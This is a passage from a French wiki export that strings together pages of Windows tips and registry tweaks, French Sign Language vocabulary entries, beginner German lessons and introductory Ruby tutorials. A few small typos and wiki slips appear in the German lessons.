''C:\WINDOWS\system32\diskmgmt.msc'' * Services : ''C:\WINDOWS\system32\services.msc'' * Réglage des sons : ''C:\WINDOWS\system32\sndvol32.exe'' * Utilitaire réseau SQL : ''C:\WINDOWS\system32\cliconfg.exe'' * Défragmenteur de disque : ''C:\WINDOWS\system32\dfrg.msc'' * Calculatrice : ''C:\WINDOWS\system32\calc.exe'' * Nettoyage du disque dur : ''C:\WINDOWS\system32\cleanmgr.exe'' * Invite de commande : ''C:\WINDOWS\system32\cmd.exe'' * Docteur Watson : ''C:\WINDOWS\system32\drwtsn32.exe'' * DxDiag (pour DirectX) : ''C:\WINDOWS\system32\dxdiag.exe'' * Gestionnaire de périphériques : ''C:\WINDOWS\system32\devmgmt.msc'' * Répertoire Windows : ''%Windir%'' * Dossier Temporaire : ''%Temp%'' * Dossier du profils des applications : ''%AppData%'' === Raccourcis clavier === * Pour lancer l'explorateur Windows : Appuyer sur la touche "''Windows''" et la lettre '''E''' * Raccourci de fonctions Windows : - '''Exécuter''' : Appuyer sur la touche "''Windows''" et la lettre '''R'''<br /> - '''Rechercher''' : Appuyer sur la touche "''Windows''" et la lettre '''F'''<br /> - '''Rechercher un ordinateur''' : Appuyer sur la touche "''Windows''", la touche "''Ctrl''" et la lettre '''F'''<br /> - '''Gestionnaire d'utilitaires''' (loupe, clavier visuel) : Appuyer sur la touche "'Windows'" et la lettre '''U'''<br /> * Pour réduire d'un coup toutes les fenêtres ouvertes : Appuyer sur la touche "''Windows''" et la lettre '''M''' du clavier pour réduire les fenêtre ou Appuyer sur la touche "''Windows''" et la lettre '''D''' du clavier pour afficher le bureau * Pour annuler la réduction : Appuyer sur la touche "''Windows''", la touche "'Majuscule'" et la lettre '''M''' du clavier * Pour fermer une fenêtre d'Internet Explorer : Appuyer sur les touches '''Ctrl''' et '''W''' * Pour changer de Session ou verrouiller l'ordinateur : Appuyer sur la touche "''Windows''" et la lettre '''L''' du clavier * Pour ouvrir le menu système ''Fenêtre'' : Appuyer sur les touches ''Alt'' et ''espace'' *Pour basculer le clavier de azerty en qwerty : appuyer sur '''Alt''' et sur '''Maj''' === Attribuer un niveau de priorité à une application === Pour que certaines applications se lancent plus rapidement, vous pouvez leur attribuer un niveau de priorité. De ce fait, elles vont se lancer plus rapidement. Par défaut, les applications ont un niveau de priorité normal, mais vous pouvez le modifier comme ceci : * Faites un clic droit sur le '''Bureau''' et choisissez la commande '''Nouveau-Raccourci''' * Entrez comme emplacement "''cmd /c start /niveau_priorité''" suivi de l'emplacement de votre application Vous avez le choix entre plusieurs niveau de priorité (par ordre décroissant) : * realtime * high * normal * abovenormal * belownormal Attention : un niveau de priorité trop élevé peut ralentir les autres applications. == Astuces du Registre Système == Pour effectuer les astuces ci-dessous, vous devrez d'abord effectuer ceci : * Cliquez sur le '''Menu Démarrer''', puis sur '''Exécuter''' * Tapez "''Regedit''" et cliquez sur OK === Modifier le nom du propriétaire de l'ordinateur ou l'organisation enregistrée === * Trouvez la clé "''HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\''" * La valeur à modifier pour le propriétaire est : "''RegisteredOwner''" * La valeur à modifier pour l'organisation est : "''RegisteredOrganisation''" == Texte de sous-titre == === Booster le démarrage de Windows === * Trouvez la clé "''HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters''" * Si la valeur DWORD ''EnablePrefetcher'' n'existe pas, créez-la et donnez lui la valeur 3 * Si cette valeur existe déjà, donnez lui la valeur 3 Cette valeur peut être : * 3 : l'optimisation va se faire sur le démarrage de Windows et les applications * 2 : l'optimisation va se faire uniquement sur le démarrage de Windows * 1 : l'optimisation va se faire uniquement sur les applications ===Garder la connexion lors d'un changement d'utilisateur === * Trouvez la clé "''HKEY_LOCAL_MACHINE/ SOFTWARE/ Microsoft/ Windows NT/ CurrentVersion/ Winlogon''" *Si la valeur chaîne '' KeepRasConnections ''n'existe pas, créez-la et donnez lui la valeur 1 * Si cette valeur existe déjà, donnez lui la valeur 1 LSF/Proposez un mot 2375 45575 2006-06-24T12:31:12Z 81.48.130.206 /* Nouveaux mots */ {{LSF}} Il y a un [[LSF/Vocab/mot|mot]] en LSF que vous souhaiteriez connaitre? Proposez-le ici, en suivant sur le lien "modifier"... == Propositions == * cheval * grave * solution * violence * machine * imprimer * scientifique * amie * gateau * malade * malin * bonjour * dispute * chat == Nouveaux mots == *je t'aime *machine LSF/Vocab/social 2376 13974 2005-01-30T13:20:41Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab social.ogg|thumb=LSF VocabThumb social.jpeg|français=social|mimeo=|mot=social|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|social]] [[Category:LSF/Vocabulaire fr à lsf|social]] LSF/Vocab/presenter 2377 13975 2005-01-30T13:27:25Z Kowey 113 {{LSF}} Voir [[LSF/Vocab/montrer|montrer]] [[Category:LSF/Vocabulaire fr à lsf|présenter]] LSF/Vocab/Amende 2378 13976 2005-01-30T13:28:48Z Kowey 113 LSF/Vocab/Amende déplacé vers LSF/Vocab/amende #REDIRECT [[LSF/Vocab/amende]] LSF/Vocab/Avocat 2379 13977 2005-01-30T13:30:22Z Kowey 113 LSF/Vocab/Avocat déplacé vers LSF/Vocab/avocat #REDIRECT [[LSF/Vocab/avocat]] LSF/Vocab/Juge 2380 13978 2005-01-30T13:32:20Z Kowey 113 LSF/Vocab/Juge déplacé vers LSF/Vocab/juge #REDIRECT [[LSF/Vocab/juge]] LSF/Vocab/Neutre 2381 13979 2005-01-30T13:32:47Z Kowey 113 LSF/Vocab/Neutre déplacé vers LSF/Vocab/neutre #REDIRECT [[LSF/Vocab/neutre]] LSF/Vocab/Juger 2382 13980 2005-01-30T13:32:58Z Kowey 113 LSF/Vocab/Juger déplacé vers LSF/Vocab/juger #REDIRECT [[LSF/Vocab/juger]] Enseignement de l'allemand : Niveau 1 2383 13981 2005-05-20T12:24:44Z Marc 66 [[Allemand Niveau 1 Leçon 1|Leçon 1]] [[Image:100%.png]]: Se présenter, le nominatif, premier vocabulaire.<br />[[Allemand Niveau 1 Leçon2|Leçon 2]] [[Image:100%.png]]: Les passe-temps, l'âge, le présent des verbes faibles ...<br />[[Allemand Niveau 1 Leçon 3|Leçon 3]] [[Image:75%.png]]: la date, le présent des verbes forts ...<br />[[Allemand Niveau 1 Leçon 3(bis)|Leçon 3 (bis)]] : la place du verbe dans la phrase ...<br />[[Allemand Niveau 1 Leçon 4|Leçon 4]] [[Image:25%.png]]: l'heure, ...<br />[[Allemand Niveau 1 Leçon 5|Leçon 5]] [[Image:25%.png]]: le prétérit des verbes faibles ...<br />[[Allemand Niveau 1 Leçon 6|Leçon 6]] : le prétérit des verbes forts ... <br /> Retour [[Enseignement de l'allemand]] Allemand Niveau 1 Leçon 1 2384 23483 2005-10-16T17:30:22Z 81.251.88.140 /* Comment vas-tu ? */ ==Introduction phonétique== ==Prononciation== ===Voyelles=== ; a : comme p'''a'''tte, m'''â'''t ; e : comme c'''e'''tte, gr'''é''' ; i : comme s'''i'''; court, comme s'''i'''t en anglais ; o : comme b'''o'''f, Rh'''ô'''ne ; u : comme tr'''ou''' ; ä : comme c'''e'''tte, fer'''ait''' ; ö : comme p'''eut''' ; ü : comme rh'''u'''me ; y : même que ü ===Consonnes=== ; b : comme '''b'''ec ; c : comme '''tz'''igane avant 'i' et 'e'; comme '''k'''ilo pour les autres cas ; d : comme '''d'''ont ; f : comme '''f'''ou ; g : comme '''g'''ant ; h : aspiré comme en anglais; après une voyelle et devant une consonne ou à fin de mot indique la voyelle longue ; j : comme '''y'''aourt ; k : comme '''c'''anne ; l : comme '''l'''oup ; m : comme '''m'''ère ; n : comme '''n'''eveu ; p : comme '''p'''orc ; q : comme '''k'''vass ; r : comme '''r'''oule ; s : comme repo'''s'''e ou ca'''s'''que ; t : comme '''t'''out ; v : comme naï'''f''' ; w : comme '''v'''ague ; x : comme mi'''x'''te ; ß : comme hi'''ss'''e ===Diphtongues communes=== ; au : comme S'''aou'''dite ; ae : transcription pour 'ä' si pas disponible sur un clavier ou en URLs ; ah : comme m'''â'''t ; äu : comme M'''oille''' ; ei : comme p'''aille''' ; eu : comme M'''oille''' ; eh : comme b'''ée''' ; ie : comme pr'''ie'''; plus long que 'i' ; ieh : comme pr'''ie'''; plus long que 'i', même que 'ie'. ; oe : transcription pour 'ö' si pas disponible sur un clavier ou en URLs, sauf en ''soeben'' (''zo-É-bene'') "viens de ''verbe''" ; oh : comme p'''ot''', plus long que 'o'. ; ue : transcription pour 'ü' si pas disponible sur un clavier ou en URLs ; uh : comme f'''ou'''le, plus long que 'u'. ; ch après 'a', 'o', et 'u' : comme lo'''ch''' en écossais ou pá'''j'''aro en espagnol, un grasseyement sans voix dans la gorge ; ch après 'i' et 'e' : entre lo'''ch''' et '''ch'''amp<br>Ce son, appelé ''ich-Laut'', est un allophone du son précédent ''ach-Laut'', mais près de '''sch''', donc il est important de ne pas les confondre ; ch au début d'un mot : comme '''c'''aractère ; ck : comme mo'''qu'''ant ; ng : comme si'''ng'''i'''ng''' en anglais ; ph : comme '''f'''aute ; sch : comme '''ch'''amp ; sp au début d'un mot : comme tou'''che p'''as ; ss : comme hi'''ss'''e, en contradictinction avec 'ß', la voyelle précédente est courte. Aussi employé comme transcription de 'ß' en URL ou sur des claviers étrangers. ; st au début d'un mot : comme fâ'''che-t'''oi == Bonjour, au revoir, salut == Guten Morgen! : ''Bonjour'' !(le matin); <br />Guten Tag : Bonjour !<br />Guten Abend ! : ''Bonsoir'' !<br />Auf Wiedersehen ! ou Wiedersehen! : Au revoir !<br />Bis später!; Bis dann!; A plus tard, à la prochaine.<br />Bis bald ! : ''A bientôt''.<br />Bis Morgen ! : A ''demain''. ==== Tournures familières ==== Hallo!, Grüß dich !, Tag ! : ''Salut''!<br />Tschüss !;Tschau ! : ''Salut'' !(au revoir) == Se présenter == Wie heißt du ? ''Comment t'appelles tu ?''<br />Ich heiße Ilona. ''Je m'appelle Ilona''.<br />Wie heißt er ? ''Comment s'appelle-t'il ?''<br />Er heißt Franz. ''Il s'appelle Franz''.<br />Wie heißt sie ? ''Comment s'appelle-t-elle'' ?<br />Sie heißt Ilona. ''Elle s'appelle Ilona''. == Comment vas-tu ? == Wie geht's? ''Comment vas-tu ?'' Réponses: Bien : Gut - Super ! : Prima - Très bien ! : Terrific!, Sehr gut! Mauvais : Schlecht. - Pas bien : Nicht gut. - Très mal : Sehr schlecht. Ça peut aller : Ganz gut, So lala., ou Es geht so. Ich bin froh. ''Je suis content''.<br />Ich bin müde. ''Je suis fatigué''.<br /> Ich bin traurig. ''Je suis triste''.<br />Ich bin krank. ''Je suis malade''.<br />Il faut faire attention à l'utilisation de haben ou de sein :<br />Ich bin hungrig. Ich habe Hunger. ''J'ai faim''.<br />Ich bin durstig. Ich habe Durst. ''J'ai soif''.<br />Ich habe Angst. ''J'ai peur''. == Le nominatif == En allemand le nominatif est le cas correspondant au sujet de la phrase. === Pronoms personnels (sujets) === <table border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" width="50%"> <tr align="center"> <td>Personne</td> <td colspan=2>'''Singulier'''</td> <td colspan=2>'''Pluriel'''</td> </tr> <tr align="center"> <td>1ère</td> <td>je</td> <td>''ich''</td> <td>nous</td> <td>''wir''</td> </tr> <tr align="center"> <td>2ème</td> <td>tu</td> <td>''du''</td> <td>vous</td> <td>''ihr, Sie*''</td> </tr> <tr align="center"> <td>3ème</td> <td>il, elle</td> <td>''er, sie, es''</td> <td>ils, elles</td> <td>''sie''</td> </tr> </table> (*) - La forme de politesse ''vous'' en français correspond à ''Sie'' en allemand qui se conjugue comme la troisième personne du pluriel ''sie''. == Conjugaison == === Heißen (s'appeller) === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"> <td><u>Personne</u></td> <td colspan=2><u>Singulier</u></td> <td></td> <td colspan=2><u>Pluriel</u></td> </tr> <tr align="center"> <td>'''1ère'''</td> <td>ich</td> <td>''heiße''</td> <td></td> <td>wir</td> <td>''heißen''</td> </tr> <tr align="center"> <td>'''2ème'''</td> <td>du</td> <td>''heißt''</td> <td></td> <td>ihr</td> <td>''heißt''</td> </tr> <tr align="center"> <td>'''3ème'''</td> <td>er/sie/es</td> <td>''heißt''</td> <td></td> <td>sie</td> <td>''heißen''</td> </tr> </table> === Sein (être) === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"> <td><u>Personne</u></td> <td colspan=2><u>Singulier</u></td> <td></td> <td colspan=2><u>Pluriel</u></td> </tr> <tr align="center"> <td>'''1st'''</td> <td>ich</td> <td>''bin''</td> <td></td> <td>wir</td> <td>''sind''</td> </tr> <tr align="center"> <td>'''2nd'''</td> <td>du</td> <td>''bist''</td> <td></td> <td>ihr</td> <td>''seid''</td> </tr> <tr align="center"> <td>'''3rd'''</td> <td>er/sie/es</td> <td>''ist''</td> <td></td> <td>sie</td> <td>''sind''</td> </tr> </table> === Haben (avoir) === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"> <td><u>Personne</u></td> <td colspan=2><u>Singulier</u></td> <td></td> <td colspan=2><u>Pluriel</u></td> </tr> <tr align="center"> <td>'''1st'''</td> <td>ich</td> <td>''habe''</td> <td></td> <td>wir</td> <td>''haben''</td> </tr> <tr align="center"> <td>'''2nd'''</td> <td>du</td> <td>''hast''</td> <td></td> <td>ihr</td> <td>''habt''</td> </tr> <tr align="center"> <td>'''3rd'''</td> <td>er/sie/es</td> <td>''hat''</td> <td></td> <td>sie</td> <td>''haben''</td> </tr> </table> == Questions == === Interrogation directe globale === L'interrogation directe globale commence par un verbe conjugué, l'interrogation porte sur le verbe conjugué placé en première place de la phrase. On y répond par oui ou non. Elle correspond en français à la même forme verbe-sujet ou à la forme ''Est-ce que ...'' . * Heißt du Ilona ? ''Est-ce que tu t'appelles Ilona ?''<br />Ja, ich heiße Ilona. ''Oui, je m'appelle Ilona''. * Hast du einen Bruder ? ''As-tu un frère'' ?<br />Nein, ich habe keinen Bruder. ''Non, je n'ai pas de frère''. === Interrogative directe partielle === L'interrogative directe partielle porte sur un élément de la phrase. Elle commence par un interrogatif en w-. Le verbe est en deuxième ou troisième place. * L'interrogation peut porter sur l'identité du sujet : Wie heißt du ? ''Comment t'appelles-tu'' ?<br />Ich heiße Lena. ''Je m'appelle Lena''. * L'interrogation peut aussi porter sur un lieu, une date, une précision. ( Leçon 2) == Vocabulaire == === Les nombres === <table border="1" style="background-color: #99FF99; border-collapse: collapse;" width="25%"> <tr><th>Allemand</th><th>Français</th></tr> <tr><td>eins</td><td>un</td></tr> <tr><td>zwei</td><td>deux</td></tr> <tr><td>drei</td><td>trois</td></tr> <tr><td>vier</td><td>quatre</td></tr> <tr><td>fünf</td><td>cinq</td></tr> <tr><td>sechs</td><td>six</td></tr> <tr><td>sieben</td><td>sept</td></tr> <tr><td>acht</td><td>huit</td></tr> <tr><td>neun</td><td>neuf</td></tr> <tr><td>zehn</td><td>dix</td></tr> <tr><td>elf</td><td>onze</td></tr> <tr><td>zwölf</td><td>douze</td></tr> </table> == Test == * [[Test Allemand Niveau 1 Leçon 1|Test Niveau 1 Leçon 1]] ---- Liens vers : [[Enseignement de l'allemand : Niveau 1|Niveau 1]] / [[Allemand Niveau 1 Leçon2|Leçon 2]] ---- Programmation Ruby Installation 2385 36450 2006-03-07T18:21:30Z 83.198.103.69 [[Programmation Ruby|<< Retour au sommaire]] == Linux == Sur la plupart des systèmes Linux ou BSD, ruby est inclu dans la distribution, référez-vous à sa documentation pour savoir comment installer de nouveaux packages. Par exemple sur un système débian ou tout système incorporant apt-rpm : apt-get install ruby Sur un système gentoo : emerge ruby == Windows == Nous vous conseillons le "One-Click Ruby "Installer, disponible à cette url : [http://rubyinstaller.rubyforge.org/wiki/wiki.pl http://rubyinstaller.rubyforge.org/wiki/wiki.pl] ce package contient tout les éléments pour faire fonctionner ruby sur votre système. == Autres systèmes == Si ruby supporte votre système vous pouvez télécharger les sources à partir de cette url : [ftp://ftp.ruby-lang.org/pub/ruby/ruby-1.8.2.tar.gz ftp://ftp.ruby-lang.org/pub/ruby/ruby-1.8.2.tar.gz] LSF/Vocab/international 2386 13984 2005-01-30T16:35:05Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab international.ogg|thumb=LSF VocabThumb international.jpeg|français=international|mimeo=|mot=international|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|international]] [[Category:LSF/Vocabulaire fr à lsf|international]] Programmation Ruby Premiers essais 2387 40492 2006-04-18T07:44:01Z Gromitt 1388 Correction ortho, style. [[Programmation Ruby|<< Retour au sommaire]] Pour faire les premiers essais avec '''Ruby''', nous allons utiliser l'outil ''irb'', un interpréteur '''Ruby''' très pratique pour tester et déboguer. Celui-ci se lance simplement à partir d'un terminal avec la commande ''irb'' : # irb Sous windows, un raccourci a dû être rajouté au menu démarrer. Pour ne pas déroger à la règle, nous allons pour premier exemple dire bonjour : irb(main):001:0> puts "Hello World" Ceci renverra Hello World => nil soit l'effet produit par notre fonction (l'affichage de la chaîne "''Hello World''"), et la valeur de retour de celle-ci, dans notre cas ''nil''. Pour un langage objet, cet exemple n'est pas très adapté. Il faut néanmoins savoir que tout code écrit en dehors d'une classe ou d'un module fait partie de la classe ''Object''. On aurait également pu écrire cet exemple de cette manière : irb(main):013:0> STDOUT << "Hello" << " " + "World" L'approche objet est ici plus évidente : la méthode "''<<''" de l'objet ''STDOUT'' est appelée avec " ''"Hello" << " " + "World"''" comme paramètre. De même on appelle la méthode ''<<'' de l'objet ''"Hello"'' (qui est une instance de l'objet String). On découvre ici le modèle tout objet de Ruby. En effet, celui-ci ne comporte pas de type primaire, ainsi, une chaîne de caractères ou un nombre sont des objets, comme on peut le voir avec la méthode Object.class : irb(main):016:0> 3.class => Fixnum irb(main):017:0> "Hello".class => String irb(main):018:0> /^Hello\sWorld$/.class => Regexp Bien sûr, chacun de ces objets possède ses propres méthodes, que l'on peut lister ainsi : irb(main):019:0> Fixnum.methods => ["method", "send", "name", "class_eval", "object_id", "singleton_methods", "__send__", "private_method_defined?", "equal?", "taint", "frozen?", "instance_variable_get", "constants", "kind_of?", "to_a", "instance_eval", "ancestors", "const_missing", "type", "instance_methods", "protected_methods", "extend", "protected_method_defined?", "eql?", "public_class_method", "const_get", "display", "instance_variable_set", "hash", "is_a?", "to_s", "class_variables", "class", "tainted?", "private_methods", "public_instance_methods", "autoload", "untaint", "included_modules", "private_class_method", "const_set", "id", "<", "inspect", "<=>", "instance_method", "==", "induced_from", "method_defined?", ">", "===", "clone", "public_methods", "protected_instance_methods", ">=", "respond_to?", "freeze", "<=", "module_eval", "allocate", "__id__", "=~", "methods", "public_method_defined?", "superclass", "nil?", "dup", "autoload?", "private_instance_methods", "instance_variables", "include?", "const_defined?", "instance_of?"] ou encore dans un contexte précis : irb(main):020:0> 3.methods => ["%", "between?", "method", "send", "<<", "prec", "modulo", "&", "object_id", ">>", "zero?", "size", "singleton_methods", "__send__", "equal?", "taint", "id2name", "*", "next", "frozen?", "instance_variable_get", "+", "kind_of?", "step", "to_a", "instance_eval", "-", "remainder", "prec_i", "nonzero?", "/", "type", "protected_methods", "extend", "floor", "to_sym", "|", "eql?", "display", "quo", "instance_variable_set", "~", "hash", "is_a?", "downto", "to_s", "prec_f", "abs", "singleton_method_added", "class", "tainted?", "coerce", "private_methods", "^", "ceil", "untaint", "+@", "upto", "-@", "div", "id", "**", "times", "to_i", "<", "inspect", "<=>", "==", ">", "===", "succ", "clone", "public_methods", "round", ">=", "respond_to?", "<=", "freeze", "divmod", "chr", "to_f", "__id__", "integer?", "=~", "methods", "nil?", "dup", "to_int", "instance_variables", "[]", "instance_of?", "truncate"] On constate certaines particularités syntaxiques, nous les détaillerons plus tard même si elles sont assez claires, par exemple une méthode dont le nom se termine par ''?'' indique que celle-ci renvoie un booléen. Pour plus d'informations sur un objet ou une méthode, vous pouvez, à partir d'un terminal, exécuter la commande ''ri'' : # ri times Si une méthode est incluse dans plusieurs objets, ''ri'' vous proposera un liste de choix possible. Toute méthode peut être redéfinie : irb(main):029:0> 2+3 => 5 irb(main):030:0> class Fixnum irb(main):031:1> def +(value) irb(main):032:2> return self-value irb(main):033:2> end irb(main):034:1> end irb(main):035:0> 2+3 => -1 Toutes les méthodes peuvent ainsi être redéfinies, cependant, cette fonctionnalité est à utiliser avec précaution. Pour finir cette présentation nous allons voir la notion de bloc en '''Ruby''', et voir comment ceux-ci peuvent être utilisés. Par exemple : irb(main):024:0> 5.times do |i| irb(main):025:1* puts "#{i}\n" irb(main):026:1> end 0 1 2 3 4 Ici nous voyons que le bloc délimité par ''do'' et ''end'' (il est à noter que l'on peut également délimiter les blocs par des accolade s ouvrante/fermante (''{}'')) est envoyé en paramètre à la méthode ''times'' de l'objet ''Fixnum''. La ou les valeurs entre pipes (ici la variable ''i'') indiquent le ou les paramètres que la méthode passe au bloc. Ici, la méthode times va donc appeler 5 fois le bloc en y passant en paramètre un entier valant au départ 0 et qui sera incrémenté de 1 à chaque appel du bloc. Tous ces concepts seront vus en détail dans les chapitres suivants. Programmation Ruby Mots Réservés 2388 13986 2005-01-30T17:03:54Z Ganjo 161 [[Programmation Ruby|<< Retour au sommaire]] =begin break elsif module retry unless =end case end next return until BEGIN class ensure nil self when END def false not super while alias defined? for or then yield and do if redo true begin else in rescue undef Programmation Ruby Webographie 2389 13987 2005-04-09T12:45:35Z 81.66.50.207 [[Programmation Ruby|<< Retour au sommaire]] Le site officiel du langage ruby : [http://www.ruby-lang.org http://www.ruby-lang.org] Le site de la documentation ruby : [http://www.ruby-doc.org http://www.ruby-doc.org] Le site regroupant la plupart des modules ruby (équivalent du cpan du perl) : [http://raa.ruby-lang.org/ http://raa.ruby-lang.org/] Le site regroupant la plupart des projets écrit en ruby : [http://rubyforge.org/ http://rubyforge.org/] Demande de changement à Ruby : [http://rcrchive.net/ http://rcrchive.net/] News, discussions... autour de ruby : [http://www.rubygarden.org/ http://www.rubygarden.org/] Rubygems : le gestionnaire de package pour ruby : [http://rubyforge.org/projects/rubygems/ http://rubyforge.org/projects/rubygems/] Pleac : Exemples de code en ruby : [http://pleac.sourceforge.net/pleac_ruby/index.html http://pleac.sourceforge.net/pleac_ruby/index.html] Allemand Niveau 1 Leçon2 2390 41493 2006-05-03T18:33:35Z 85.16.146.74 /* Les passe-temps */ == Les passe-temps == Fußball, Basketball, Tennis spielen : jouer au football, au basket, au tennis.<br />Skateboard, Inline-Skates fahren : faire du skateboard, du roller.<br />Ins Kino, Museum gehen : aller au cinéma, au musée.<br />Comics lesen : lire des bandes dessinées.<br />Fahrrad fahren : faire du vélo.<br />CDs hören : écouter des cds. Ich spiele Fußball. ''Je joue au football''.<br />Mathilda spielt Tennis. ''Mathilda joue au tennis''.<br />Luka geht ins Kino. ''Luka va au cinéma''. == Questions (suite) == === Les mots interrogatifs en W- === La question porte sur : # une personne : '''wer''' = qui? « Wer » se rapporte à une personne.<br />Wer ist dieses Mädchen ? ''Qui-est cette fille'' ? # une chose : '''was''' = que, quoi ? « Was » demande une information sur un objet ou une personne.<br />Was ist das ? ''Qu'est-ce que c'est'' ? # un lieu : '''wo''' = où ? (locatif)<br />Wo wohnst du ? '' Où habites-tu'' ?<br />Wo liegt Berlin ? ''Où se trouve Berlin ?'' == L'âge == Wie alt bist du ? ''Quel âge as-tu ?''<br />Ich bin dreizehn Jahre alt. ''J'ai treize ans.''<br />Wie alt ist er ? ''Quel âge a-t'il ?''<br />Er ist fünfzehn. ''Il a quize ans.'' == Conjugaison == Il y a trois catégories de verbes en allemand : * les verbes faibles * les verbes forts * les verbes de modalités<br /> Chaque catégorie a une conjugaison particulière. === Conjugaison des verbes faibles à l'indicatif présent === <table border="1" cellspacing="0"style="background-color: #FFFF66"> <tr align="center"><td>personnes</td><td>désinences</td><td>wohnen</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> -'''e''' </td><td>ich wohn'''e'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''st''' </td><td>du wohn'''st'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> -'''t''' </td><td>er, sie, es wohn'''t'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''en''' </td><td>wir wohn'''en'''</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''t''' </td><td>ihr wohn'''t'''</td></tr> <tr align="center"><td>3ème personne (plur.)</td><td> -'''en''' </td><td>sie, Sie wohn'''en'''</td></tr></table> <br /> A la deuxième et la troisième personne du singulier, on intercale un -e- entre le radical et les désinences du présent lorsque le radical se termine par un d ou un t. === Application === Was machst du ? Ich spiele Basketball.<br />Wo wohnt er ? Er wohnt in Berlin. == Vocabulaire == === Les nombres === *De 13 à 19 les nombres se forment à l'aide de l'unité attachée à dix. <table cellspacing="0" style="background-color: #99FF99" border=1> <tr> <td>dreizehn</td> <td>treize</td> </tr> <tr> <td>vierzehn</td> <td>quatorze</td> </tr> <tr> <td>fünfzehn</td> <td>quinze</td> </tr> <tr> <td>sechzehn</td> <td>seize</td> </tr> <tr> <td>siebzehn</td> <td>dix-sept</td> </tr> <tr> <td>achtzehn</td> <td>dix-huit</td> </tr> <tr> <td>neunzehn</td> <td>dix-neuf</td> </tr> </table> *A partir de 20 les nombres se forment avec l'unité en première position, attachée à und et à la dizaine.<br />Exemple : dreiundzwanzig : ''vingt-trois''; fünfundviertig : ''quarante-cinq''. === Les couleurs === <table border="1" cellspacing="0" style="background-color: #99FF99"> <tr><td>rot</td><td>rouge</td></tr> <tr><td>rosa</td><td>rose</td></tr> <tr><td>orange</td><td>orange</td></tr> <tr><td>gelb</td><td>jaune</td></tr> <tr><td>violett</td><td>violet</td></tr> <tr><td>grün</td><td>vert</td></tr> <tr><td>blau</td><td>bleu</td></tr> <tr><td>braun</td><td>marron</td></tr> <tr><td>schwarz</td><td>noir</td></tr> <tr><td>grau</td><td>gris</td></tr> <tr><td>weiß</td><td>blanc</td></tr> <tr><td>dunkel...</td><td>...foncé</td></tr> <tr><td>hell...</td><td>...clair</td></tr> </table> Die deutsche Fahne ist schwarz, rot und gold. ''Le drapeau allemand est noir, rouge et or.''. == Dialogue == *"Hallo Thomas ! Wie geht's ? ''Salut ! Comment vas-tu ? ''<br />- Tag. Ich bin müde. Und du ? ''Bonjour. Je suis fatigué. Et toi ?''<br />Mir geht es sehr gut. Spielst du Basketball ? ''Je vais très bien. Joues-tu au Basket ?''<br />Nein, ich gehe ins Kino. ''Non je vais au cinéma''.<br /> *"Hallo ! Wie heißt du ? ''Salut ! Comment t'appelles-tu ?''<br />Ich heiße Ilona. Und du, wie heißt du ? ''Je m'appelle Ilona. Et toi comment t'appelles-tu ?''<br />Ich heiße Erika. Wie alt bist du? ''Je m'appelle Erika. Quel âge as-tu ?''<br />Ich bin zehn. Und du ? ''J'ai dix ans. Et toi ?''<br />Ich bin elf Jahre alt. Wo wohnst du ? ''J'ai onze ans. Où habites-tu ?''<br />Ich wohne in Berlin. ''J'habite à Berlin.''<br /> Wo liegt Berlin ? ''Où se trouve Berlin ?''<br />Berlin liegt in Deutschland. ''Berlin se trouve en Allemagne.'' == Test == [[Test_Allemand_Niveau_1_Leçon_2|Test Niveau 1 Leçon 2]] ---- Liens vers : [[Enseignement de l'allemand : Niveau 1|Niveau 1]] / [[Allemand Niveau 1 Leçon 3|Leçon 3]] ---- LSF/Vocab/voix 2391 13989 2005-01-30T18:08:42Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab voix.ogg|thumb=LSF VocabThumb voix.jpeg|français=voix|mimeo=|mot=voix|config=v}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|voix]] Allemand Niveau 1 Leçon 3 2392 44444 2006-06-12T17:42:18Z 62.241.127.79 /* L'accusatif */ == Grammaire : les articles == Il existe trois genres en allemand : le masculin, le neutre, et le féminin. Ils se caractérisent par l'article défini : '''der'''(masculin), '''die'''(féminin), '''das'''(neutre). Le pluriel de ces trois genres est '''die'''.<br />Le genre peut être différent entre le français et l'allemand. Exemple : das Mädchen (neutre), la fille (féminin).<br />Les articles définis et indéfinis expriment aussi le genre. === Les articles définis === Ils correspondent en français à le, la, les. <table border="1" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>Féminin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>der</td> <td>die</td> <td>das</td> <td>die</td> </tr> <tr align="center"> <td>Accusatif</td> <td>den</td> <td>die</td> <td>das</td> <td>die</td> </tr> </table> === Les articles indéfinis === Ils correspondent en français à un, une. L'article indéfini n'a pas de pluriel. <table border="1" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>partenin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>ein</td> <td>eine</td> <td>ein</td> <td> - </td> </tr> <tr align="center"> <td>Accusatif</td> <td>einen</td> <td>eine</td> <td>ein</td> <td> - </td> </tr> </table> == L'accusatif == L'accusatif s'emploie pour le complément d'objet direct.<br /> Dans les phrases suivantes, on symbolise le nominatif par la couleur bleue et l'accusatif par la couleur verte. *<font color=white>Ein</font> Junge ißt <font color=green>einen</font> Kuchen. ''Un garçon mange un gâteau.'' *<font color=blue>Das</font> Mädchen ißt <font color=green>einen</font> Kuchen. ''La fille mange un gateau.'' *<font color=blue>Die</font> Jungen essen <font color=green>einen</font> Kuchen. ''Les garçons mangent un gâteau.'' == Expression : la date et l'heure == Une date s'exprime avec '''am''' + ''accusatif''. ''Exemple'' : Am dreizehnsten Juli werden sie nach Lübeck fahren. Les dates s'écrivent souvent ''den 13. Juli'', le 